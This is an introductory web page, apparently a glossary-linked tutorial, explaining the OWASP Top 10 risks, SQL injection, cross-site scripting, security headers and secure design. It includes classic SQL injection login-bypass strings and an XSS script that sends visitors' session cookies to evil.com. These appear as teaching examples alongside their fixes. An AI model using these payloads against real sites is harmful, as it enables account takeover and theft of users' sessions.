Tech VocabularyThe OWASPWhat is owasp?Open Web Application Security Project - an organization that maintains a widely used list of the most critical web security risks. Top 10: security's greatest hits
OWASP (Open Web Application Security Project) maintains a list of the most critical web security risks. Here are the big ones:
Injection attacks
Hackers insert malicious code into your application. The most common is SQL injectionWhat is sql injection?An attack where user input is inserted directly into a database query, letting the attacker read, modify, or delete data. Parameterized queries prevent it.: tricking a database into running commands it shouldn't.
Example: A login form expects a username. Instead, an attacker enters: ' OR '1'='1
This becomes: SELECT * FROM users WHERE username = '' OR '1'='1', since 1=1 is always true, the attacker logs in as the first user (usually admin).
Broken authenticationWhat is authentication?Verifying who a user is, typically through credentials like a password or token.
Weak authentication lets attackers impersonate users: unlimited login attempts (brute force), weak password requirements, sessions that don't expire, or credentials sent over HTTPWhat is http?The protocol browsers and servers use to exchange web pages, API data, and other resources, defining how requests and responses are formatted..
Other critical vulnerabilities
| Rank | Vulnerability | Simple explanation |
|---|---|---|
| 3 | Sensitive data exposure | Passwords in plain text, unencrypted credit cards |
| 4 | XML External Entities (XXE) | Malicious XML files that read server files |
| 5 | Broken access control | Users accessing data they shouldn't by changing a URL |
| 6 | Security misconfiguration | Default passwords, unnecessary features enabled |
| 7 | Cross-site scripting (XSS) | Injecting malicious scripts into web pages |
| 8 | Insecure deserialization | Manipulating data objects to run malicious code |
| 9 | Using vulnerable components | Outdated libraries with known security holes |
| 10 | Insufficient logging | Not knowing you were attacked until it's too late |
The rule: Never trust the client. Verify permissions on every request.
SQL injectionWhat is sql injection?An attack where user input is inserted directly into a database query, letting the attacker read, modify, or delete data. Parameterized queries prevent it. and XSSWhat is xss?Cross-Site Scripting - an attack where malicious JavaScript is injected into a web page and runs in other users' browsers, stealing data or hijacking sessions.: explained in detail
SQL injection: attacking the database
If user input gets inserted directly into SQLWhat is sql?A language for querying and managing data in relational databases, letting you insert, read, update, and delete rows across tables. queries, attackers can modify those queries.
Vulnerable code (pseudo-code):
query = "SELECT * FROM users WHERE username = '" + userInput + "'"Attack input: admin' --
Resulting query:
SELECT * FROM users WHERE username = 'admin' --'The -- comments out the restWhat is rest?An architectural style for web APIs where URLs represent resources (nouns) and HTTP methods (GET, POST, PUT, DELETE) represent actions on those resources. of the query, so the password check is skipped.
The fix: Use parameterized queries (prepared statements). Never concatenate user input into SQL.
Cross-site scripting (XSS): attacking other users
XSS injects malicious scripts into web pages that other users see.
Attacker posts in a comment section: <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
When other users view the comment, their browser runs the script and sends their sessionWhat is session?A server-side record that tracks a logged-in user. The browser holds only a session ID in a cookie, and the server looks up the full data on each request. cookieWhat is cookie?A small piece of data the browser stores and automatically sends with every request to the matching server, often used for sessions. to the attacker.
Types of XSS:
- Stored XSS: malicious script saved to the database
- Reflected XSS: script is in the URL, reflected back immediately
- DOMWhat is dom?The Document Object Model - the browser's live representation of your HTML page as a tree of objects that JavaScript can read and modify.-based XSS: script manipulates the page structure directly
The fix: Sanitize all user input. Escape special characters. Use modern frameworks that do this automatically.
When breaches happen: the real cost
Data breaches cost millions in fines (GDPRWhat is gdpr?A European regulation that gives users control over their personal data, including the right to access, delete, and export it.: up to 4% of global revenue), lawsuits, forensic investigations, and downtime. The hidden costs, reputation damage, employee burnout, and technical debtWhat is technical debt?Shortcuts or compromises in code that save time now but create extra work later when you need to change or extend it. from rushed patches, often exceed the direct costs.
Famous breaches
| Company | Year | Cause | Impact |
|---|---|---|---|
| Equifax | 2017 | Unpatched server | 147 million records, $700M+ settlement |
| Target | 2013 | Vendor credentials stolen | 40 million credit cards, $290M costs |
| Yahoo | 2013-14 | State-sponsored attack | 3 billion accounts, $350M off sale price |
| Marriott | 2018 | Acquired compromised system | 500 million guests, £18M GDPR fine |
Security headers: the easy wins
Web servers can send headers that tell browsers how to behave, one-line configurations that prevent whole classes of attacks.
| Header | What it does | Why it matters |
|---|---|---|
Content-Security-Policy | Restricts what resources can load | Prevents XSS by blocking inline scripts |
X-Frame-Options | Prevents page from being embedded | Stops clickjacking attacks |
X-Content-Type-Options | Prevents MIME type sniffing | Stops browsers from executing disguised files |
Strict-Transport-Security | Forces HTTPS for a period | Prevents downgrade attacks |
Referrer-Policy | Controls referrer information | Limits data leakage |
Penetration testing: ethical hacking
Penetration testing (pen testing) is hiring security experts to attack your system before real attackers do.
Three types: Black box (testers know nothing), gray box (limited knowledge), white box (full access to source code).
The process: Reconnaissance, scanning, exploitation, post-exploitation, then a report with findings and remediation steps.
Security by design
Core principles
- Least privilege: Give users the minimum access they need
- Defense in depth: Multiple layers of protection, not a single measure
- Fail securely: When something breaks, fail to a secure state
- Don't trust user input: Validate everything server-side
Security in the development lifecycle
| Phase | Security activity |
|---|---|
| Design | Threat modeling, security requirements |
| Development | Secure coding training, code reviews |
| Testing | Automated security scans, pen testing |
| Deployment | Security configuration review |
| Operations | Monitoring, incident response plans |